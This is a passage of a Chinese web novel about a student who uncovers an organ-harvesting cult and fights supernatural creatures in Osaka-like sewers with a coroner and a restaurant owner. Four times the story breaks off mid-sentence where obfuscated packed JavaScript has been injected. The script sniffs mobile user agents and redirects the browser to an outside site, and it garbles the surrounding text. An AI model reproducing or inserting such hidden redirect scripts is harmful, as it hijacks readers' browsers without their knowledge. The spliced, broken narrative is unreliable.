“看来你不仅被卷进来,而且已经被标记了。”他推了推眼镜,拿出平板,“先说结论。那些器官不是孤立事件,牵扯到一个在杰潘活动至少十年的隐秘团体。邪教崇拜,同时与违规人体实验深度绑定。” 他点开几张照片。扭曲的符号,眼睛、内脏和藤蔓的组合。 “生贽之会。崇拜永恒生命、器官置换,近代几乎销声匿迹。” 又滑出几张文件截图,关键部分被涂黑。 “更关键的是,你提供的样本里,有几种特殊生物活性剂和抗排异药——军方或特定医药机构严格监管的试验品。保持那种鲜活状态需要精密体外灌注系统,不是普通团伙能拥有的。” 他抬起头,目光锐利:“这意味着,有掌握高端技术的官方或半官方单位在支持他们,进行违背伦理的实验。那些器官是实验产物,丢弃要么是意外,要么是内部清洗,要么……” 顿了顿:“是某种仪式性展示。” 吴森森喉咙发干:“官方怎么会……” “利益,或者更高的目标。”桐岛凛声音里带着讽刺,“永生、超人体能、生物武器……伦理对有些人只是障碍。与特殊团体合作,各取所需。这也解释了警方为何迅速压下——不是他们能碰的。” 他关掉平板:“现在你明白为什么我断定你接触了‘神秘侧’?普通的犯罪调查不会这么快引出湿怨影。你已经被卷入更深、更危险的漩涡。那些器官的鲜活,可能不止是技术手段。” 后院一片寂静。 “我该怎么办?”吴森森声音干涩。 桐岛凛喝了口凉茶:“高宏这里暂时安全。你先住下,避避风头。” “至于调查,”他看向天空,“我继续追查生贽之会和药物来源。但这潭水太深,需要更谨慎。你也不是没事做:仔细回忆那天的所有细节,留意身边异常的人。还有……” 他微微蹙眉,似乎在权衡:“你那个叫荒的朋友,似乎有特别感应。如果他再说什么,或者有不寻常举动,告诉我。在杰潘,古老家族的人往往知道更多,也更容易察觉异常。” “喂!你们两个!”高宏亮粗犷的声音从前店传来,“聊完了没?芝士猪排要下锅了!” 桐岛凛脸上掠过一丝极淡的笑意,站起身:“先吃饭吧。既然踏进来了,至少填饱肚子再说。” 吴森森跟着他回到店里。炸猪排的香气扑鼻而来。 “别想那么多,先吃饭!”高宏亮的大手重重拍在他背上。 吴森森埋头吃饭,暂时将那些骇人词汇压到角落。 饭后,桐岛凛拿出平板处理文件。吴森森帮忙收拾碗筷,店里逐渐忙碌起来。 他小声问桐岛凛:“高宏先生一直这么热心吗?” 桐岛凛瞥了眼厨房:“他对有潜力的发展对象或潜在优质客户比较上心。但像这样让人住进来,确实不多见。” “喂!桐岛!你小子又在胡说八道什么?”高宏亮一边炸猪排一边嚷嚷,“我这是日行一善,积攒功德!再说了,小吴手脚麻利,公平交易!” “是吗?”桐岛凛不置可否,目光回到平板,“那你最好祈祷他的特殊体质别给你这小店引来太多功德都消受不起的麻烦。” 高宏亮哼了一声,把猪排炸得更响。 下午客流过去,夕阳余晖染暖小店。高宏亮叼着未点燃的烟,靠在料理台边。 “小子,等会儿跟我去你公寓一趟。” 吴森森动作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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高宏亮:“有些东西你们那些仪器测不全。得靠这个——”他指了指太阳穴和鼻子,“那屋子里除了霉烂味,还有一丝烧焦泡水的味儿,还有烧糊的肉味。” “所以,”桐岛凛沉吟道,“可能是湿怨影搅动了公寓里与火灾相关的残响,导致残留混合特征?” 吴森森低声说:“高宏先生您很厉害。” “嗨,混口饭吃。”高宏亮摆摆手,“在这地方,见不得光的玩意儿多了。鼻子灵一点能避开麻烦。” “你那个画室朋友也提醒过你?”高宏亮问。 吴森森:“嗯,他叫诹访隼人,昨天突然说我身上罩着翳,让我别回家。” “诹访家的?”高宏亮挑眉,“那家有点真东西。他能看出来,说明你麻烦不一般。” 回到春枝猪排饭店,高宏亮走向厨房:“都饿了吧?等我弄点茶泡饭。” 桐岛凛上了二楼进行分析。 高宏亮端来茶泡饭:“来来来,吃饱了不想家,也不怕鬼!” 吴森森接过碗低声道谢。 第二天,吴森森带着高宏亮准备的双层便当离开。 便当的内容让他有些意外——米饭上撒了少许炒香的芝麻和海苔碎,主菜是照烧鸡腿肉和玉子烧,配菜是焯过水的西兰花和胡萝卜,还有一小格酱煮的魔芋和油豆腐。 没有生鱼片,没有纳豆,调味也明显比常见的日式便当更浓郁些,更接近他习惯的中式口味。 显然是高宏亮特意调整过的。 便当的调味接近他习惯的中式口味,这份细心让他心头一暖。 下午讲座的嘉宾正是诹访隼人。讲座后,荒走过来。 “吴,一起吃午饭?我还没吃。”他观察着吴森森。 两人在草坪长椅坐下。吴森森打开便当。 “这便当不错,不是便利店买的吧?”荒问。 “是暂住地方老板做的。”吴森森说。 荒点点头:“你看起来好多了。但缠着你的东西并没完全离开,只是被暂时压制了。你身上还有印记。” 吴森森心里一惊:“我听了你的建议,昨晚没回公寓。” “明智。”荒靠回椅背,“但光是避开不够。你身上的东西像是一种标记。不去除的话,可能再次引来麻烦。” “那我该怎么办?” “去正经的神社或寺庙做净化。”荒说,“如果你愿意,我可以带你去一家熟悉的寺庙。” 吴森森没有立刻答应:“我考虑一下。” ———— 推开店门,温暖的食物香气和油锅的声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016479|194202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响一如既往。高宏亮正在准备晚餐的食材,看到他回来,扬了扬下巴:“回来啦?便当味道咋样?合口味吧?” 回到店里,吴森森告诉高宏亮荒的建议。 “诹访家小子倒是热心。”高宏亮切着菜,“他说的法子对一般秽气有效。但你的事不一般。贸然寻求正统庇护不一定是好事。” “那我该怎么办?” “先别急。”高宏亮拍拍他,“你在我这儿待着。净化我也有土法子。” 晚上打烊后,桐岛凛拿着报告进来:“有新情况。需要立刻确认。” “你公寓残留的物质,”桐岛凛调出平板,“与一种处理尸体的副产物高度相似。源头可能在天神桥市场下方的污水干管。” 高宏亮骂了句脏话:“这得加钱。” “我们需要去下水道确认一下,”桐岛凛说,“这种副产物因为它的特点,就形成了国外常见的魔物‘史莱姆’” “游戏里那种?”吴森森恶寒,真是地狱笑话。 桐岛凛点点头。 三人全副武装后来到了附近适合进入下水道的地方。 他们潜入下水道。高宏亮停下:“味道不对。好吧,也可能对的,有化学剂味和甜腥。” 桐岛凛的探测器发出嗡鸣:“信号增强。那个方向。” “看那里。”高宏亮头灯指向支管尽头。池边堆积着厚厚的粘稠物质,污水里有蠕动的小团块。 7. 焚鬼 高温氧化剂的火焰在桐岛凛精准的控制下,如同有生命的赤色莲花,瞬间包裹了那池令人作呕的“史莱姆”。 剧烈的氧化反应发出嘶嘶的尖啸,暗红、惨白、灰褐的粘稠物质在极致的高温中迅速碳化、收缩,冒出滚滚浓烟,那股酸涩甜腥的恶臭被更刺鼻的焦糊味取代。 火焰的光芒在幽暗的下水道中剧烈跳动,将三人的影子扭曲地投射在污秽的墙壁上。 “应该差不多了……” 高宏亮紧盯着火焰,手中的铁棍横在身前,防备着可能的意外。 然而,就在火焰势头似乎开始减弱,核心区域的粘稠物几乎完全化为焦黑灰烬的刹那———— “轰!” 一声沉闷的爆鸣,并非来自□□,而像是无数细小气泡在极度高温下同时炸裂,又像是某种沉寂的能量被猛然引爆!赤白的火舌毫无征兆地反向窜起,不是向上,而是如同拥有意识般,扭曲着、扩张着,朝吴森森三人所在的方位猛扑过来!火焰的颜色瞬间变得深邃、不祥,夹杂着诡异的青黑色流光。 “退!” 桐岛凛厉喝一声,一把抓住还在发愣的吴森森向后急退。高宏亮也猛地向侧方扑倒,炽烈的火浪几乎擦着他的后背掠过,将一小片墙壁上的苔藓和污垢瞬间汽化,混凝土表面留下一片焦黑的灼痕。 惊魂未定,更诡异的事情发生了。那片即将熄灭的余烬核心,并未化为无害的死灰,反而剧烈地蠕动、隆起!焦黑的灰烬簌簌落下,从里面爬出数个扭曲的、勉强维持着人形轮廓的东西。 那是……烧焦的骷髅,但骨骼表面布满了龟裂的纹路,裂缝中不断喷涌、流淌着暗红与青黑交织的邪异火焰,仿佛它们的骨髓和残存的物质都在燃烧。 空洞的眼眶里跳动着两点极度怨毒与痛苦的幽绿火苗。它们姿态扭曲,有的匍匐,有的摇摇晃晃地站立,浑身裹挟着高温与恶意,散发出远比之前“湿怨影”和“史莱姆”更加暴戾、更加令人绝望的气息。 “焚鬼! 而且不止一只!” 高宏亮的脸色彻底沉了下来,迅速从地上爬起,摆出防御姿态,“妈的,怎么突然就转化了?还特么是群发!” 桐岛凛的眉头紧锁,镜片后的目光死死盯着那几个新生的焚鬼,手指在平板电脑上快速操作,调取数据。“能量读数急剧变化……残留的化学能、生物质能在极端高温和……我的模型低估了这其中可能掺入的‘术式’残留!” 他的声音罕见地带着一丝懊恼和冰冷,不知是因为情况急转直下,还是对自己的分析出现了关键疏漏感到极度不悦。 “现在说这个有屁用!” 高宏亮啐了一口,但眼神里没有慌乱,只有全神贯注的凝重,“焚鬼本身还好说,但这架势,背后肯定有鬼!先搞定眼前这些,别让它们窜上去!” 话音未落,几只焚鬼已经发出无声的尖啸,但那怨毒的精神冲击直接撞进脑海,裹挟着邪火扑了上来!它们动作不算特别快,但力量惊人,所过之处,污水被蒸发,水泥平台被烧灼得噼啪作响。 高宏亮低吼一声,不退反进。他没有使用明显的武器,但那双粗壮的手臂此刻仿佛化为了最坚实的壁垒。 他并不与焚鬼硬碰硬地接触邪火,而是利用下水道狭窄的空间和灵活的身法,或拍、或推、或引,将焚鬼的冲击方向带偏,让它们互相碰撞,或者撞向墙壁。 他的手掌和手臂在接触焚鬼周身火焰的瞬间,似乎会闪过一层极淡的、难以察觉的金红色微光,将邪火稍稍隔开,但即便如此,他的袖口和手套边缘也迅速出现了焦痕。 “桐岛!快点!” 高宏亮一边周旋,一边催促。他显然在争取时间,并且将焚鬼尽量控制在某个范围内。 桐岛凛早已退到相对安全的距离,迅速从背包里取出几支特制的荧光笔和一小瓶闪烁着微光的粉末。他半跪在地,无视周围的高温与恶战,以惊人的冷静和速度,在潮湿肮脏的水泥地面上绘制出一个复杂而精致的阵图。 荧光笔迹在黑暗中发出幽幽蓝光,粉末洒落时与地面残留的湿气反应,升起淡淡的银白色雾气。阵图的核心符文不断闪烁,似乎在汲取周围游离的能量。 “再坚持三十秒!” 桐岛凛头也不抬,声音冷静得近乎冷酷。 然而,焚鬼的数量和凶悍超出了预估。一只被高宏亮震退、撞在墙上的焚鬼,似乎被彻底激怒,它猛地转向,将目标锁定在了看起来最弱小、也离桐岛凛的阵法稍近的吴森森身上! 它发出一阵更加尖锐的精神嘶嚎,眼眶中的幽绿火苗暴涨,全身邪火轰然升腾,如同一个燃烧的流星,朝着吴森森猛撞过去!速度比之前快了不止一筹! “小吴!躲开!” 高宏亮目眦欲裂,他正被另外两只焚鬼缠住,一时根本无法脱身,哪怕拼着受伤硬闯,也绝对来不及了! 吴森森大脑一片空白,灼热的绝望瞬间攫住了他。他能感觉到那扑面而来的、足以将血肉和灵魂一起焚尽的恐怖高温与怨毒,身体却像被钉在原地,无法移动分毫。死亡的阴影如此之近。 就在那燃烧的骷髅利爪即将触碰到吴森森衣角的电光石火之间—— 异变再生! 吴森森外套下摆衣角处,一道毫不起眼的、干涸的白色颜料痕迹,突然毫无征兆地爆发出纯净而柔和的白色光芒!那光芒并不刺眼,却带着一种难以言喻的安定与神圣感。 更令人震惊的是,白光并非随意扩散,而是如同有生命般流淌、伸展,瞬息之间,在空中交织、勾勒,竟然化作一篇篇流转着微光的、古朴而庄严的金色经文虚影! 经文笔画结构古奥,隐隐带着某种更古老文字的韵味。这些经文虚影如同最坚固的屏障,层层叠叠地将吴森森包裹其中,形成一个半球形的光罩。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016480|194202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “嗤——!!!” 燃烧的焚鬼狠狠撞在了经文光罩之上。 没有惊天动地的巨响。那凶戾的邪火与经文白光接触的瞬间,如同沸汤泼雪,发出令人牙酸的侵蚀声,但迅速消融、瓦解!焚鬼发出最后一声凄厉无声的哀嚎,它身上的邪火以肉眼可见的速度暗淡、熄灭,焦黑的骨骼在经文白光的照耀下,寸寸龟裂,最终化为一小撮灰白色的细腻粉尘,簌簌飘落,混入地下的污秽之中,再无半点声息。 一只凶悍的焚鬼,形神俱灭。 整个下水道瞬间安静了一瞬。连另外几只焚鬼似乎都停滞了刹那,眼眶中的幽火惊疑不定地闪烁着。 高宏亮瞪大了眼睛,满脸难以置信,但更多是庆幸。桐岛凛绘制阵图的动作也微微一顿,猛地抬起头,镜片后的瞳孔急剧收缩,眼中露出了极为明显的震惊与探究。 吴森森本人更是呆若木鸡,低头看着自己衣角那已经黯淡下去、恢复成普通颜料痕迹的位置,又看看周围缓缓消散的经文虚影和地上那撮灰烬,完全不明白发生了什么。 “那是……‘净灵箓’?不对,是更古老的……加持?” 桐岛凛喃喃自语,声音低得几乎听不见。 高宏亮率先反应过来,虽然满心疑问,但战斗还没结束。“好小子!有这种保命符不早说!” 他吼了一嗓子,精神大振,攻势更加迅猛,趁机将一只分神的焚鬼狠狠掼在地上。 桐岛凛也迅速收敛心神,手中最后一道荧光笔痕落下。“阵法完成!退!” 高宏亮闻声,虚晃一招,抽身急退到桐岛凛身边。桐岛凛单手按在阵图核心,低声念诵出一串短促而奇异的音阶。 地上的阵图骤然光芒大放,银白色的光雾升腾而起,化为无数道纤细却坚韧的光索,如同拥有生命的触手,精准地缠绕向剩下的几只焚鬼。光索接触到邪火,发出“滋滋”的净化声,焚鬼的动作顿时变得迟滞、痛苦,身上的火焰也开始不稳定地摇曳。 “就是现在!” 桐岛凛对高宏亮点头。 高宏亮深吸一口气,从怀中掏出那个小瓷瓶,全部泼洒向被光索束缚的焚鬼,同时口中快速念诵着什么。液体遇到邪火和光索,轰然腾起湛蓝色的、焚尽邪恶却丝毫不伤及光索的火焰,将焚鬼彻底吞噬。 在阵法的压制和特殊火焰的焚烧下,剩余的焚鬼在几声短促的哀鸣后,也相继化为飞灰。 下水道重新恢复了昏暗,只剩下头灯的光芒、尚未散尽的焦糊味、以及地面上那个渐渐暗淡的阵图痕迹。 还有,便是三人之间那几乎凝固的沉默,以及齐齐投向吴森森衣角的、充满震撼与考究的目光。 吴森森站在原地,摸了摸那块普通的布料,又看向高宏亮和桐岛凛,张了张嘴,却发不出任何声音。 他自己也想知道,这到底……是怎么回事? 8. 荒的身份(1) 回到“春枝猪排饭店”后院,店内温暖的灯光和隐约的食物残香传来,带来一丝虚幻的安定感。 吴森森脱下那件救了他一命的外套,手指还有些控制不住地微微颤抖。衣角那道不起眼的白色颜料痕迹,此刻在他眼中变得无比神秘,甚至有些烫手。 桐岛凛一言不发地接过外套,在后院的客厅坐下,拿出一个高倍便携放大镜和一支带有特殊滤镜的笔形灯,开始极其仔细地检查那道痕迹。他的动作近乎虔诚,又带着研究者特有的严谨与锐利,仿佛在解读一份失落的古老文献。 高宏亮则蹲在院子另一角,小心翼翼地将两个密封得极其严实的特制容器放在地上。一个里面是少许焦黑、半凝胶状的“史莱姆”残余物,另一个则是灰白色的“焚鬼”灰烬。 他嘴里叼着没点燃的烟,眼神发亮,动作却异常谨慎,仿佛在对待什么易碎的珍宝。 “啧啧,虽然过程刺激了点,但这波不亏,甚至血赚。”高宏亮一边用镊子拨弄着容器里的东西,一边压低声音,难掩兴奋地对吴森森说,但眼睛却一直没离开那些“材料”,“知道这玩意儿在黑市——我是说,在某些‘特定需求’的圈子里——能卖多少钱吗?尤其是这种经过复合转化、又被特殊手段净化后的‘净灰’和‘焦凝胶’,性质稳定,能量形态独特,是制作某些高级护符、特殊药剂或者进行某些禁忌研究的极品素材!” 他比划了一个夸张的手势,差点碰倒容器,连忙稳住:“要是找到识货又出得起价的买家,这一小撮,说不定能抵得上‘春枝猪排’三年的流水! 嘿嘿,当然,桐岛那小子得分走大头,毕竟主意和关键手段都是他的。不过,咱们的辛苦费和风险补贴,也绝对少不了!” 吴森森听得咋舌。三年营业额?就这点灰烬和焦糊?这已经完全超出了他对“值钱”的认知范畴。 就在这时,桐岛凛那边有了动静。他放下放大镜,关掉笔灯,沉默了片刻,手指无意识地推了推眼镜,镜片后的目光复杂地看向吴森森。 “不是诹访家传承的固有术法。” 桐岛凛的声音很轻,但每个字都清晰无比,“也不是任何已知的、流传较广的传统经文符箓的直接显现。其能量结构和符文基底,与我数据库中的所有记录都对不上核心特征。” 吴森森的心提了起来。不是荒?那会是谁? “但是,”桐岛凛话锋一转,语气带着一种发现拼图关键碎片的锐利,“我在其力量流转的最外层‘封装’和‘显化形式’上,检测到了极其微弱、但确实存在的,与诹访大社某些古老祝器和社殿木纹中蕴含的‘净化’与‘守护’神韵高度同调的能量印记。可以这么说——有人,借用或者说模拟了诹访大社神力体系的某种‘外表’和‘气息’,巧妙地包裹、修饰了其内核真正的东西,用以掩盖其真实的来源和性质。” 他抬起头,目光似乎穿透了后院的墙壁,望向了吴森森画室的方向:“这种程度的模仿和借用,绝非外人能够轻易做到。需要对诹访家的神力性质、符文表达有极深的理解,甚至可能接触过核心的祝器或典籍。而且,施术者将这道强力的守护力量,以如此隐蔽的方式附着在你身上,必然与你近期有过近距离接触,并且……预料到了你可能遭遇的、与‘污秽’、‘邪火’相关的危险。” 桐岛凛的结论斩钉截铁:“肯定和画室里那个诹访隼人有关。而且,他做的,远比嘴上提醒你去寺庙求签要深入得多。这道守护,不是一般的‘净化’或‘祝福’,其内核的力量层级和性质,连我的设备都无法完全解析,只能判断其古老、纯粹且……极为克制之前遭遇的那类邪秽。这绝不是一个普通的、放弃家业的叛逆子嗣能够轻易动用的力量,除非……” “除非那小子,根本没他自己说的那么‘脱离’家业,或者,他在诹访家内部的权限和得到的传承,远超他表现出来的样子。”高宏亮接过了话头,他已经处理好了那两个“价值连城”的容器,走了过来,表情玩味,“有意思。诹访家的小天才,表面上在美院画油画,背地里却给偶然认识的、惹上麻烦的中国留学生画保命符?而且还画得这么隐晦,这么……下本钱?” 他摸着下巴上的胡渣,眼神在高宏亮和吴森森之间转了转:“他图什么?真的只是热心肠?还是说,他也盯上了小吴你惹上的这摊子事,或者……盯上了你本身?” 吴森森被问得哑口无言。荒给他的印象一直是洒脱、狂放、专注于艺术,虽然有些神神叨叨的感应,但他从未将对方与如此深不可测的术法和家族隐秘联系在一起。那道白光符文带来的震撼还未平息,此刻又叠加了更复杂的人心揣测。 “他今天还特意建议我带你去熟悉的寺庙做净化。”桐岛凛冷静地补充,“现在回想,这或许不仅仅是一个建议,也可能是一种试探,想看看你是否会接受,或者观察你对‘净化’类力量的反应。甚至,那间他推荐的寺庙,本身可能就在诹访家的影响或监视之下。” 后院陷入短暂的沉默。夜风吹过,带来一丝凉意。 “那……我该怎么办?”吴森森再次问出这个问题,感到前所未有的茫然和无助。 “暂时按兵不动。”桐岛凛给出了建议,“不要主动去问荒关于符文的事。如果他提起,就装作不知道,或者表示惊讶和感谢。观察他后续的态度和举动。这道符文目前看来是保护你的,没有恶意,这至少是一个积极的信号。但我们必须弄清楚他的真实目的,以及诹访家在这整件事中,到底扮演着什么角色。” 高宏亮也点点头,拍了拍吴森森的肩膀,力道依旧很大:“别怕,小子。管他诹访家还是什么会,你现在是咱们‘春枝猪排’的临时工兼重点保护对象。那道符再厉害也是外力,你自己也得支棱起来。明天开始,除了帮忙,我给你加点‘特训’,至少下次被怪物扑脸的时候,别傻站着等符救命。” 他顿了顿,咧嘴一笑,露出一口白牙,在夜色中显得有些森然:“至于诹访家那小子……有机会,我请他来店里‘尝尝新菜’,顺便‘聊聊’。在这阪大的一亩三分地,是龙得盘着,是虎得卧着。想在我眼皮子底下玩花样,也得看看我高宏亮答不答应。” 桐岛凛没有反对,只是将外套递还给吴森森,淡淡叮嘱:“这件衣服,正常穿,正常洗。那道痕迹的力量已经消耗,但可能还留有极细微的‘印记’。如果荒真的有所图,或许会通过某种方式感应或接触它。留心任何与之相关的异常感觉。” 吴森森接过衣服,心里五味杂陈。 ———— 第二天,当吴森森怀着复杂忐忑的心情踏入熟悉的画室时,荒,已经在他的画架前了。他今天穿着简单的黑色T恤和工装裤,长发松散地披在肩后,正对着画布上一片狂放的、仿佛岩浆与夜色交织的笔触凝神。 听到吴森森的脚步声,他转过头,目光在吴森森脸上停留了一瞬,那双总是带着点漫不经心或艺术狂热的眼眸,此刻清澈而平静,深处似乎藏着不易察觉的审视和……一丝了然的放松。 “你没事就好。” 荒开口,声音平稳,说的却是这样一句没头没尾,却又直指核心的话。 吴森森心里咯噔一下,所有事先准备好的、故作平常的寒暄都卡在了喉咙里。他张了张嘴,最终只是干涩地挤出一句:“……嗯,还好。” 荒似乎并不期待他多说什么,只是点了点头,视线转回画布,语气恢复了些许平时的随意:“有什么事情的话,午饭后再说吧。现在光线正好。” 整个上午,画室里充斥着松节油的气味、笔刷的沙沙声和其他学生偶尔的低声交谈。吴森森努力将注意力集中在自己的画上,但眼角的余光总是不由自主地瞥向荒。 荒专注地画着画,侧脸线条在从高窗洒落的阳光下显得沉静而专注,仿佛昨晚桐岛凛和高宏亮口中那个“深藏不露”、“借用家族神力绘制隐秘符文”的神秘人物与他毫无关系。但吴森森知道,那平静的表象下,必然涌动着他不了解的力量与秘密。 午饭时间,两人依旧来到老地方。吴森森打开高宏亮准备的便当,今天换成了姜烧猪肉和筑前煮,荒则是一如既往的便利店三明治。沉默地吃了几口后,荒主动打破了寂静。 “吴,”他咬了一口三明治,咀嚼着,目光却看向远处操场上的学生,声音平淡,“那天之后……你遇到的那些‘东西’,你怎么看?” 吴森森握着筷子的手紧了紧。他没想到荒会如此直接地切入主题。他斟酌着词句,小心地回答:“我……不太懂。是……所谓的‘鬼神’、‘妖怪’吗?就像故事里说的那样?” 荒沉默了片刻,将口中的食物咽下,才缓缓开口:“算是,但也不完全是。” 他转过头,看着吴森森,眼神认真,“很多古老的、典籍记载中的‘形’与‘名’,确实存在,或者曾经存在。但更多的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016481|194202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是随着时代变迁,人类的生活方式、聚集形态、情绪和欲望的投射方式改变,而‘进化’出来的新东西,也有些旧的,因为失去了存在的‘土壤’而逐渐‘消失’ 或改变了形态。” 他用拿着三明治的手,随意地在空中比划了一下:“比如你之前住的那种老式密集公寓楼里滋生的‘湿怨影’,古代可能没有完全一样的,但‘屋宅积聚阴湿晦气成精’的概念自古有之。至于下水道里那种……用化学和热手段处理人体后残留物聚合的东西,那更是近代甚至当代才可能出现的‘新品种’。 它们的力量来源、行为模式,都和传统的‘鬼’、‘妖’有不小区别。你可以把它们看作是一种……基于人类集体潜意识、环境能量和特定物质条件催化出的‘异常存在’或‘现象聚合体’。” 这番解释,既承认了超自然的存在,又带着一种近乎生物学家观察物种演化般的冷静视角,与桐岛凛那种科学分析式的口吻有异曲同工之妙,但又多了几分来自古老传承的、对“存在本质”的理解。 吴森森听得入神,心中的恐惧似乎被这种理性的阐述冲淡了一些,转化为更深的困惑。他深吸一口气,决定不再迂回,问出了那个最关键的问题: “荒,我外套上……那道白色的痕迹,变成经文保护我的……是你弄的吗?” 荒没有回避,很干脆地点了点头:“是。” 预料之中的答案,但亲耳听到确认,还是让吴森森心头一震。 “我那天看你气色不对,身上‘标记’明显,又劝不动你立刻去做净化,就猜到你可能会遇到麻烦,而且是和‘污秽’、‘阴火’相关的那种。” 荒的语气依旧平淡,仿佛在说一件微不足道的小事,“顺手用颜料留了道。没想到真的用上了,看来你遇到的麻烦比我想的还快,还凶。” 他说到最后,看了吴森森一眼,那眼神里似乎有一丝“果然如此”的了然,也有一丝极淡的、难以察觉的忧虑。 “顺手”……吴森森回想起昨晚那神圣而强大的经文光罩,那瞬间将焚鬼化为齑粉的威力,在荒口中竟然只是“顺手”? “为什么?” 吴森森忍不住追问,“我们只是……画室的朋友。而且,桐岛先生和高宏先生他们说,你……” “他们说我很可疑,背景复杂,可能对你别有企图,对吧?” 荒直接替他说了出来,嘴角甚至勾起一抹略带嘲讽的弧度,但并不是针对吴森森,“桐岛凛,那个年轻的法医学副教授兼警方顾问,还有他那个开着小店、鼻子比狗还灵、专门处理‘脏东西’的朋友高宏亮。他们确实有理由这么想。” 他放下吃到一半的三明治,拍了拍手上的面包屑,目光变得深邃而坦诚:“吴,我可以告诉你一些事,但有些事,现在还不能说,至少不能在这里说。” “第一,我放弃诹访家的继承权,是真的。我弟弟比我更适合那个位置,他心静,守得住。” “第二,我父亲和祖父生气,也不仅仅是因为我喜欢画画。更因为……我的‘天赋’太好。好到他们觉得我不继承家业是巨大的浪费,甚至是背叛。好到……有时候我自己都难以完全控制。” 他顿了顿,似乎在回忆什么不甚愉快的往事。“艺术家当然可以继承家业,历史上不少有名的神主、宫司同时也是风雅的歌人、画师。但我选择离开,有更重要的原因。那个原因,暂时不想说,也与你目前卷入的事情没有直接关系,至少我希望没有。” “第三,” 荒直视着吴森森的眼睛,那双总是显得有些疏离的眼眸此刻充满了认真的力量,“我帮你,最初确实只是因为觉得你人不错,又惹上了麻烦,顺手为之。但,你接触的东西可能远远比我开始想到的更麻烦,甚至让我无法置身事外。” 他身体微微前倾,压低了声音:“如果你真的想知道更多,关于我,关于那些‘东西’,关于你为什么会卷入其中……我们可以换个地方,好好谈谈。一个更安全,也更……适合说话的地方。不是寺庙,也不是任何可能与诹访家明面有关联的场所。” 荒的坦诚超出了吴森森的预料。 午后的阳光透过树叶,在两人之间投下斑驳的光影。画室的方向传来隐约的嬉笑声。一切看似平常,但吴森森知道,自己正站在一个十字路口。 沉默在两人之间蔓延。最终,吴森森抬起头,看向荒: “好。去哪里谈?什么时候?” 9. 不请自来的客人 傍晚的“春枝猪排饭店”后院,空气中还残留着白日阳光的余温和隐约的食物香气。吴森森刚向桐岛凛和高宏亮转述了荒的邀请——这个日曜日,在荒的朋友开的一家茶馆见面,并且“不放心的话可以带上好友一起来”。 桐岛凛听完,推了推眼镜,表情没什么变化,只是沉吟道:“日曜日……我正好需要回京东一趟,处理一些实验室的后续分析,并且调取一部分权限更高的档案。时间上冲突了。” 他看向高宏亮,“高宏,你去吗?” 高宏亮正用一块软布擦拭着螺钿漆器被子,嘴里还叼着一根没点燃的香烟,闻言头也不抬:“去啊,为啥不去?诹访家那小子请喝茶,还允许带‘保镖’,不去白不去。正好看看他葫芦里卖的什么药,顺便……” 他咧嘴一笑,“尝尝他朋友茶馆的茶点水准如何,要是难吃,我可要好好‘点评’几句。” 他话音刚落—— “哗啦!” 会客室角落一块看似严丝合缝的旧榻榻米木板,毫无征兆地被人从下面猛地掀开了! 灰尘簌簌落下,一个身影灵活地钻了出来,还顺手拍了拍身上的灰。 “哎哟,这么热闹?在商量什么好事儿呢?带我一个呗!” 来人看起来三十五六岁年纪,头发是常见的短发,但额前和鬓角特意挑染了几缕扎眼的紫绿色,在昏黄的灯光下十分醒目。他个子不算特别高,但身板精悍,穿着一件有些磨损但质地不错的皮夹克,里面是印花夸张的T恤,脖子上挂着几条风格混杂的项链。长相算得上端正,但眉眼间那股过分活跃、仿佛随时准备搭讪或者搞点事情的神采,让他整个人透着一种与年龄不符的、精力过剩的“社交恐怖分子”气息。 如果说高宏亮的“健谈”和“市侩”还带着一种扎根市井的、粗粝的亲和力,那么眼前这位,就像是把“自来熟”和“信息搜集”刻进了DNA,浑身上下都写着“我能跟任何人聊到一块儿去,并且把你家谱和宠物的名字都问出来”。 吴森森被这突如其来的“登场方式”吓了一跳,下意识地后退了半步。桐岛凛只是微微抬了下眼皮,似乎并不意外。高宏亮则“啧”了一声,没好气地骂道:“森内彻! 跟你说过多少次了,走正门!老子这榻榻米下面是通风和藏应急物资的暗道,不是你家后门!” 名叫森内彻的男人毫不在意地哈哈一笑,几步走到矮几旁,极其自然地盘腿坐下,顺手就拿起桐岛凛那杯还没动过的茶喝了一口:“高宏你这就不够意思了,有生意……哦不,有‘活动’不叫我?我可是闻到‘味道’就来了!” 